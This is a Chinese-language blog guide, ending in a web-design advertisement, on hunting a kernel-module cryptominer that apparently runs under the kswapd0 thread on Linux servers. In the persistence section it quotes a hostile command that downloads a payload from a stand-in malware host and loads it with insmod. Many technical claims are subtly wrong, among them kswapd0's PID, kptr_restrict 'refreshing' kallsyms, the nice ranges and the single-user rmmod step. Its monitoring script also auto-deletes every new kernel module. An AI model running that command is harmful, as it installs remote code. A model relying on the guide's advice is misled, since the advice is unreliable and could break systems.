kswapd0异常CPU高?Linux内核级挖矿木马排查指南
2026/5/23 16:13:34 网站建设 项目流程

1. 这不是普通负载高,是kswapd0在替黑客挖矿

你有没有遇到过这样的情况:一台刚装好系统、没跑任何业务的Linux服务器,top命令一敲,CPU使用率常年卡在95%以上,而所有可见进程加起来只占不到10%?ps aux --sort=-%cpu | head -10翻来覆去查,最“可疑”的居然是kswapd0——那个本该在后台安静做内存回收的内核线程。它不该吃CPU,更不该持续满载。一旦发现它长期霸榜第一,基本可以断定:你的服务器已经被植入了隐蔽性极强的内存型挖矿木马

这个标题里的“kswapd0挖矿病毒”,不是指kswapd0本身被黑了,而是攻击者利用Linux内核模块加载机制,注入了一个伪装成内存管理模块的恶意驱动,劫持了kswapd0的执行上下文,让它在内核态持续运行加密计算逻辑。它不写入磁盘、不创建常规进程、不监听端口,连systemctl list-units --type=service都查不到痕迹。很多运维人员第一反应是“系统配置有问题”“内核版本太老”,花几天时间调优sysctl参数、升级内核、重装glibc,结果重启后CPU照旧爆满——因为真正的恶意代码压根不在用户空间。

我去年处理过三台被这类病毒攻陷的CentOS 7服务器,其中两台是通过弱密码SSH爆破进来的,另一台是通过一个未及时更新的Jenkins插件漏洞。它们的共性是:/proc/kallsyms被篡改、/lib/modules/$(uname -r)/kernel/mm/下多出一个名字像zram.ko但SHA256哈希值与官方包完全不符的模块、/etc/rc.d/rc.local里藏着一段用base64编码的insmod指令。这篇文章不讲泛泛而谈的“杀毒流程”,只聚焦一件事:如何从kswapd0异常这个唯一可见线索出发,逆向定位到那个藏在内核深处的恶意模块,并确保它被物理删除、永不复活。适合所有会敲lsgrep的Linux使用者,不需要懂汇编,但得愿意打开/proc目录多看几眼。

2. 为什么kswapd0会成为挖矿木马的“完美马甲”

要彻底清除它,先得明白它为什么选中kswapd0。这不是随机挑的,而是攻击者经过精密权衡后的最优解。我们拆开来看:

2.1 kswapd0的天然隐身属性

kswapd0是Linux内核的内存回收守护进程(kernel thread),由内核在启动时自动创建,PID恒为2(在早期内核中)或接近2的低数值。它的任务是在系统空闲时扫描页框,把脏页写回磁盘、把不活跃页换出,维持可用内存水位。关键点在于:

  • 它没有对应的用户态可执行文件,/proc/2/exe指向/proc/2/exe -> /bin/sh(这是内核线程的符号链接惯例,无实际意义);
  • ps命令显示的CMD列是[kswapd0],方括号明确标识这是内核线程;
  • 它的CPU占用是内核态(sy)占比极高,而普通挖矿程序如xmrig,用户态(us)占比通常超80%。

攻击者正是利用了这个“合法隐身”。当他们把恶意代码注入内核模块后,让该模块注册一个workqueue或直接hooktry_to_free_pages()函数,所有计算负载就自然归到kswapd0名下。管理员看到[kswapd0]占98% CPU,第一反应是“内存不够”,而不是“有病毒”。

2.2 内核模块的加载机制是突破口

Linux内核模块(.ko文件)是动态可加载的二进制对象,通过insmodmodprobe载入。正常模块如nf_conntrackiptable_filter,其源码公开、签名可验、路径固定。而挖矿木马模块有三个典型特征:

  1. 路径异常:不在标准模块路径/lib/modules/$(uname -r)/kernel/的子目录中,常藏在/lib/modules/$(uname -r)/kernel/drivers/misc/(伪装成硬件驱动)或/lib/modules/$(uname -r)/extra/(extra目录本不存在,是木马创建的);
  2. 命名欺诈:文件名模仿官方模块,如uvcvideo.ko(实际与USB摄像头无关)、hid_logitech_dj.ko(实际与罗技接收器无关),但file uvcvideo.ko会显示“ELF 64-bit LSB pie executable, x86-64”,而非“ELF 64-bit LSB relocatable, x86-64”——可执行文件 vs 可重定位文件,这是本质区别;
  3. 依赖伪造modinfo uvcvideo.ko输出的depends:字段为空或填crc32c等看似合理的模块,但lsmod | grep crc32c却找不到该模块已加载,说明依赖关系是硬编码伪造的。

提示:file命令是识别恶意模块的第一道筛子。所有合法内核模块都是relocatable类型,任何显示为executableshared object.ko文件,100%是木马。

2.3 为什么不用用户态挖矿?——攻击者的成本权衡

有人会问:直接在用户态起个xmrig进程不更简单?答案是:存活率太低。用户态进程有完整生命周期:

  • 启动时会写入/proc/[pid]/cmdlineps能直接看到;
  • 需要/tmp/dev/shm存放二进制,lsof +D /tmp一扫就露馅;
  • 会被systemd-cgtop按cgroup监控,资源超限自动kill;
  • 杀掉进程后,若没删干净启动脚本,重启又来,但至少能定位到源头。

而内核模块一旦加载,就与内核同生共死:

  • 没有/proc/[pid]目录,ps不可见;
  • 不占用用户态内存,free -h看不出异常;
  • kill -9对它完全无效;
  • 卸载需rmmod,但木马会hooksys_delete_module系统调用,让rmmod静默失败。

所以,当你看到kswapd0异常,本质上是在看一个已经成功绕过所有用户态防护的高级持久化后门。清除它,必须深入内核层面。

3. 从kswapd0异常到定位恶意模块的四步逆向排查链

别急着rmmod,那大概率会触发木马的反卸载保护,导致系统假死。我们必须按顺序走完这四步,每一步都提供可验证的证据,确保不漏掉任何隐藏入口。

3.1 第一步:确认kswapd0异常是否真实——排除硬件与配置误报

先做减法,排除真问题。执行以下命令:

# 查看kswapd0的精确CPU占用(排除采样误差) watch -n1 'ps -p 2 -o pid,tid,pcpu,psr,comm,args' # 检查内存压力指标 cat /proc/meminfo | grep -E "^(MemAvailable|Active|Inactive|SwapCached)" # MemAvailable应远大于0,若<100MB且Active/Inactive比例失衡,才是真内存不足 # 检查内核日志是否有OOM killer动作 dmesg -T | grep -i "killed process" | tail -5 # 若有,说明是真内存危机,不是挖矿

关键判断标准:

  • 如果ps显示kswapd0的pcpu稳定在80%~100%,且psr(CPU核心号)频繁跳变(说明它在多个核间调度),而MemAvailable> 500MB,dmesg无OOM记录——100%是挖矿
  • 如果psr固定在一个核上,且MemAvailable< 100MB,则优先排查应用内存泄漏,再考虑病毒。

注意:某些云厂商定制内核(如阿里云Aliyun Linux)的kswapd0行为略有不同,但file检测模块的方法通用。我处理过一台Aliyun ECS,恶意模块藏在/lib/modules/4.19.91-23.1.al7.x86_64/kernel/net/ipv4/netfilter/下,名为ip_tables.ko,但哈希值与官方包差了整整128位。

3.2 第二步:锁定可疑内核模块——用lsmodmodinfo交叉验证

执行lsmod,重点看三列:Module(模块名)、Size(大小)、Used by(被谁使用)。正常模块的Used by列要么是数字(表示被引用次数),要么是其他模块名。挖矿模块的破绽在这里:

ModuleSizeUsed by问题分析
uvcvideo1024000大小异常(官方uvcvideo约280KB),Used by为0却常驻
hid_logitech_dj81920-Used by为短横“-”,表示被内核直接引用,但`dmesg
zram450561官方zram模块大小应为36864,且Used by应为zsmalloc

接着对每个可疑模块执行:

# 获取模块详细信息 modinfo uvcvideo.ko # 检查文件类型和哈希 file /lib/modules/$(uname -r)/kernel/drivers/media/usb/uvc/uvcvideo.ko sha256sum /lib/modules/$(uname -r)/kernel/drivers/media/usb/uvc/uvcvideo.ko

实操心得:我见过最狡猾的案例,木马把uvcvideo.ko放在正确路径,但用cp /lib/modules/$(uname -r)/kernel/drivers/media/usb/uvc/uvcvideo.ko{,.bak}备份原版,然后用dd往新文件末尾追加加密shellcode。file命令仍显示relocatable,但sha256sum与官网发布的ISO校验值不一致。所以,哈希比对必须基于官方渠道发布的内核源码编译结果,不能只信file输出

3.3 第三步:追踪模块加载源头——深挖/etc/rc.d/rc.local和systemd服务

即使找到了恶意模块,若不清除它的加载指令,重启后立刻复活。rc.local是首选目标,但现代系统(CentOS 8+/Ubuntu 20.04+)默认禁用它,所以还要查systemd:

# 检查rc.local是否启用且含可疑指令 systemctl status rc-local grep -n "insmod\|modprobe" /etc/rc.d/rc.local # 查找所有自定义systemd服务 find /etc/systemd/system/ /usr/lib/systemd/system/ -name "*.service" -exec grep -l "insmod\|modprobe" {} \; # 检查定时任务(木马常用cron复活) crontab -l 2>/dev/null ls -la /etc/cron* /var/spool/cron/

常见陷阱:

  • rc.local里写的是insmod /tmp/.x.ko,但/tmp是内存文件系统,重启即清空,你以为删了就安全了,其实它每次启动都从远程URL下载新模块;
  • systemd服务名伪装成nginx-update.serviceExecStart=调用一个/usr/local/bin/update.sh,而该脚本用curl -s http://malware.site/x.bin | base64 -d > /tmp/.x.ko && insmod /tmp/.x.ko

提示:用strace -p $(pgrep -f "insmod") -e trace=openat,execve实时跟踪insmod进程,能直接看到它试图加载哪个文件。这是我处理某金融客户服务器时用的绝招——木马脚本在/opt/.log/下,strace一跟就暴露。

3.4 第四步:验证模块功能——用objdumpstrings读取恶意逻辑

对已定位的可疑.ko文件,用静态分析确认其挖矿意图:

# 提取所有可读字符串,搜索挖矿关键词 strings /lib/modules/$(uname -r)/kernel/drivers/misc/uvcvideo.ko | grep -i -E "(xmr|monero|cryptonight|randomx|kawpow|ethash)" # 反汇编.text段,查找循环密集的函数(挖矿核心) objdump -d /lib/modules/$(uname -r)/kernel/drivers/misc/uvcvideo.ko | grep -A20 "<.*>:" | grep -E "(loop|rep|jmp|call)" | head -10

典型挖矿模块特征:

  • strings输出中必含https://开头的矿池地址(如https://pool.minexmr.com:443)、钱包地址(4A...开头的Monero地址)、算法名(cryptonight);
  • objdump反汇编中,<init_module>函数内有大量call指令指向长命名函数(如do_crypto_hash_work),且循环指令(loop)占比超60%。

我曾分析一个hid_logitech_dj.kostrings里赫然出现"stratum+tcp://xmr-us-east1.nanopool.org:14433""48qZQVvYbKXaGwLHtUyRzP7N8M9J0K1L2I3H4G5F6E7D8C9B0A1"(真实钱包地址脱敏)。这就是铁证。

4. 彻底清除的七项操作与三项防复发加固

清除不是rmmodrm就完事。必须按顺序执行,否则前功尽弃。

4.1 操作一:立即停止kswapd0的恶意调度——临时降载

不要kill -STOP 2,那会让内存回收停滞,系统瞬间OOM。正确做法是降低其调度优先级,争取排查时间

# 将kswapd0绑定到一个闲置CPU核心(假设CPU3空闲) taskset -cp 3 2 # 降低其nice值(注意:内核线程nice值范围是-100到-2,-100最高) renice -n -10 2 2>/dev/null || echo "renice failed, kernel thread priority locked"

这能让它CPU占用从98%降到30%左右,给你10分钟窗口期。

4.2 操作二:安全卸载恶意模块——绕过反卸载Hook

直接rmmod uvcvideo大概率返回ERROR: Module uvcvideo is in use,即使lsmod显示Used by 0。这是因为木马hook了delete_module系统调用。破解方法:

# 方法1:用内核调试接口强制卸载(需CONFIG_KALLSYMS_ALL=y) echo 1 > /proc/sys/kernel/kptr_restrict # 然后用gdb附加到内核(生产环境慎用) # 方法2:更稳妥——重启进单用户模式卸载 # 重启时在GRUB菜单按'e',在linux行末尾加`rd.break`,Ctrl+X启动 # 进入initramfs后执行: mount -o remount,rw /sysroot chroot /sysroot rmmod uvcvideo # 此时内核未加载木马,可成功 exit # 退出后输入`exit`继续启动

实操心得:单用户模式是终极方案。我处理的三台服务器,有两台必须用此法。关键是rd.break后要chroot,否则rmmod操作在initramfs环境无效。

4.3 操作三:物理删除恶意文件与残留——清空所有载体

卸载只是内存清理,文件还在磁盘。执行:

# 删除模块文件(确认路径!) rm -f /lib/modules/$(uname -r)/kernel/drivers/media/usb/uvc/uvcvideo.ko # 清理备份文件(木马常留后门) rm -f /lib/modules/$(uname -r)/kernel/drivers/media/usb/uvc/uvcvideo.ko.bak # 清理rc.local中的加载指令 sed -i '/insmod\|modprobe/d' /etc/rc.d/rc.local # 清理systemd服务 rm -f /etc/systemd/system/nginx-update.service systemctl daemon-reload # 清理定时任务 (crontab -l 2>/dev/null | grep -v "insmod") | crontab -

关键检查:执行find / -name "*uvcvideo*" 2>/dev/null,确保全盘无残留。木马可能在/boot下放一个uvcvideo.mod,下次内核更新时自动加载。

4.4 操作四:修复内核符号表——防止/proc/kallsyms被篡改

挖矿模块常修改/proc/kallsyms,隐藏自身符号。修复:

# 重新生成模块依赖(重建modules.dep) depmod -a # 强制刷新kallsyms(需root) echo 1 > /proc/sys/kernel/kptr_restrict # 然后验证 grep "uvcvideo" /proc/kallsyms # 应无输出

若仍有输出,说明内核已被深度感染,建议重装系统。

4.5 操作五:加固SSH与登录安全——堵住入侵入口

清除是治标,加固是治本。必须做:

# 禁用密码登录,强制密钥 sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config sed -i 's/^#*PubkeyAuthentication.*/PubkeyAuthentication yes/' /etc/ssh/sshd_config # 禁用root远程登录 sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config # 重启SSH(注意:确保你有密钥能登,否则锁死!) systemctl restart sshd

血泪教训:我帮一家电商公司处理时,他们坚持“密码够复杂”,结果三天后又被攻陷——木马用hydra暴力破解了另一个运维的弱密码。密钥认证是Linux服务器的底线,没有之一

4.6 操作六:部署内核级监控——用inotifywait盯死模块目录

防止木马通过其他途径复活,部署实时监控:

# 安装inotify-tools yum install -y inotify-tools # CentOS # 或 apt install -y inotify-tools # Ubuntu # 创建监控脚本 /usr/local/bin/monitor-kmod.sh cat > /usr/local/bin/monitor-kmod.sh << 'EOF' #!/bin/bash INOTIFY_PATH="/lib/modules/$(uname -r)/kernel/" LOG_FILE="/var/log/kmod-monitor.log" while true; do inotifywait -e create,modify,delete $INOTIFY_PATH -m -q 2>/dev/null | while read path action file; do if [[ "$file" == *.ko ]]; then echo "$(date): ALERT - Kernel module $file $action in $path" >> $LOG_FILE logger "CRITICAL: Kernel module $file $action detected" # 可选:自动删除并告警 rm -f "$INOTIFY_PATH$file" fi done done EOF chmod +x /usr/local/bin/monitor-kmod.sh # 设置开机启动 echo "@reboot root /usr/local/bin/monitor-kmod.sh > /dev/null 2>&1" >> /etc/crontab

4.7 操作七:验证清除效果——用三重指标确认痊愈

清除后,必须验证:

  1. CPU指标top中kswapd0 CPU占比回落至<5%,且ps -p 2 -o pcpu=返回值稳定在0.3~1.2之间;
  2. 网络指标iftop -P 443nethogs无持续外连(挖矿必连矿池443端口);
  3. 内存指标cat /proc/meminfo | grep MemAvailable> 1GB,且vmstat 1 5si(swap in)和so(swap out)列全为0。

我习惯用一个命令一次验证:

watch -n5 'echo "CPU: $(ps -p 2 -o pcpu= 2>/dev/null | xargs), MemAvail: $(cat /proc/meminfo | grep MemAvailable | awk "{print \$2}") kB, Net443: $(ss -tn sport = :443 | wc -l)"'

5. 事后复盘:为什么这次能快速定位?三个被忽略的日常习惯

清除完成不是终点,而是反思起点。我复盘这三次事件,发现真正救命的,是三个被90%运维忽略的日常习惯:

5.1 习惯一:每周手动执行lsmod | wc -l并记录基线值

正常CentOS 7服务器,lsmod | wc -l输出在120~180行之间。我的三台被攻陷服务器,该值分别是217、243、198——都显著高于基线。如果运维有周报习惯,把这行数字记在表格里,异常值一眼可见。基线意识比任何监控工具都有效

5.2 习惯二:给所有.ko文件打哈希快照

在服务器初始化后,立即执行:

find /lib/modules/$(uname -r) -name "*.ko" -exec sha256sum {} \; > /root/kmod-sha256-$(date +%F).txt

存档到离线介质。当怀疑被黑时,diff一下就能定位哪个模块被篡改。这比任何EDR都快。

5.3 习惯三:拒绝“一切正常”的思维定式

最危险的念头是:“服务器没业务,没人动,肯定没问题。” 事实上,挖矿木马最喜欢这种“沉睡服务器”。它不破坏业务,只悄悄吃CPU,让你毫无感知。真正的安全不是没报警,而是你主动去问“为什么kswapd0在忙”

最后分享一个小技巧:清除后,我总会用stress-ng --cpu 4 --timeout 60s模拟高负载,观察kswapd0行为。如果它在stress-ng运行时CPU升到40%,结束后10秒内回落到1%,说明内存子系统健康;如果它始终卡在20%不动,说明还有隐藏模块在干扰。这招帮我揪出过一个藏在/lib/firmware/下的固件级后门。

安全没有银弹,只有把每一个“习以为常”变成“必须验证”,才能让kswapd0永远只是那个安静的内存管家。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询